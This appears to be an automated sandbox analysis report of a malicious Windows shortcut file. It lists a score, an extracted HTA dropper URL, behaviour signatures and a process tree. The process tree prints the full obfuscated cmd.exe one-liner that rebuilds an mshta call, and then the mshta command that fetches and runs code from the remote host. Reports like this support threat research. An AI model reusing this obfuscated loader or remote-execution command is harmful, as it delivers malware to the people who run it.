Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-OC7SLE.lnk
  • Size 2KB
  • Sample260804-j98fsszzdt
  • SHA256 6693b3b95b121512fb5074ecc599819262e2d860e1227a8a0cae8e922fec2df6
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OC7SLE.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set rt=4msh2&&set oxk=72rtaq&&set ZRoN=txksr&&set drXte=k0tar0q&&set kcAa=ntgz&&set Rjb=cachetkxhdnkinswmeugdzcache&&set BWhNs=tmpxyehdeqqmpttmp&&set LaRi=logviimecxlog&&set rv=tmpdxkaoowrngvdptptmp&&set bgulh=cfgfqbpndnbcfg&&set MlgR=dbgkcskadbg&&set afusm=oldqkphtzabold&&set YTpuY=wingvlgmmwoonvrmqmttwin&&set sUjr=winivpzvpbyjqvwzixwin&&set qgyc=h@ttps@://@m@a-@pdf@fil@le@r.@l@at/h@/est@ag@[email protected]?r@=@3914@6@9F@B@5D82@DB&&start /b !rt:~1,3!!oxk:~3,2! !qgyc:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3260

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads